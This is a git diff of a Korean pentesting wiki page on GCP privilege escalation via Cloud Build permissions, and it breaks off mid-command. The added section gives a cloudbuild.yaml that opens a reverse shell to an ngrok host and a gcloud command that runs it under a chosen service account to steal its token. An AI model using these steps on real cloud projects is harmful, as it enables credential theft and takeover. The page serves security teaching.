diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index d392fc770..97af82e4e 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -12,22 +12,34 @@ Cloud Build에 대한 자세한 정보는 다음을 확인하세요: ### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs` -이 권한으로 **클라우드 빌드를 제출**할 수 있습니다. cloudbuild 머신의 파일 시스템에는 **기본적으로 cloudbuild 서비스 계정의 토큰**이 포함되어 있습니다: `@cloudbuild.gserviceaccount.com`. 그러나 클라우드빌드 구성에서 **프로젝트 내의 모든 서비스 계정을 지정할 수 있습니다**.\ +이 권한을 사용하면 **클라우드 빌드를 제출할 수 있습니다**. cloudbuild 머신의 파일 시스템에는 **기본적으로 cloudbuild 서비스 계정의 토큰**이 포함되어 있습니다: `@cloudbuild.gserviceaccount.com`. 그러나 클라우드빌드 구성에서 **프로젝트 내의 모든 서비스 계정을 지정할 수 있습니다**.\ 따라서 머신이 토큰을 서버로 유출하거나 **그 안에서 리버스 셸을 얻어 토큰을 가져올 수 있습니다** (토큰이 포함된 파일은 변경될 수 있습니다). -원래의 익스플로잇 스크립트는 [**여기 GitHub에서**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) 찾을 수 있습니다 (하지만 토큰을 가져오는 위치는 저에게는 작동하지 않았습니다). 따라서 [**취약한 환경의 생성, 익스플로잇 및 정리를 자동화하는 스크립트는 여기에서**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) 확인하고, 클라우드빌드 머신 내에서 리버스 셸을 얻고 [**토큰을 훔치는 파이썬 스크립트는 여기에서**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) 확인하세요 (코드에서 다른 서비스 계정을 지정하는 방법을 찾을 수 있습니다)**.** +#### gcloud CLI를 통한 직접적인 악용 + +1- `cloudbuild.yaml`을 생성하고 리스너 데이터로 수정합니다. +```yaml +steps: +- name: bash +script: | +#!/usr/bin/env bash +bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 +options: +logging: CLOUD_LOGGING_ONLY +``` +2- 소스가 없는 간단한 빌드를 업로드하고, yaml 파일과 빌드에 사용할 SA를 지정합니다: +```bash +gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com +``` +#### Using python gcloud library +원래의 익스플로잇 스크립트는 [**여기 GitHub에서**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) 찾을 수 있습니다 (하지만 토큰을 가져오는 위치는 저에게는 작동하지 않았습니다). 따라서 [**취약한 환경의 생성, 익스플로잇 및 정리를 자동화하는 스크립트는 여기에서**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) 확인하고, 클라우드빌드 머신 내에서 리버스 셸을 얻고 [**탈취하는 파이썬 스크립트는 여기에서**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) 확인하세요 (코드에서 다른 서비스 계정을 지정하는 방법을 찾을 수 있습니다)**.** 더 자세한 설명은 [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)를 방문하세요. -### `cloudbuild.builds.update` - -**잠재적으로** 이 권한으로 **클라우드 빌드를 업데이트하고 서비스 계정 토큰을 훔칠 수 있습니다**. 이전 권한으로 수행된 것처럼 (하지만 불행히도 이 글을 쓰는 시점에서 해당 API를 호출할 방법을 찾을 수 없었습니다). - -TODO ### `cloudbuild.repositories.accessReadToken` -이 권한으로 사용자는 리포지토리에 접근하는 데 사용되는 **읽기 접근 토큰**을 얻을 수 있습니다: +이 권한을 가진 사용자는 리포지토리에 접근하는 데 사용되는 **읽기 접근 토큰**을 얻을 수 있습니다: ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \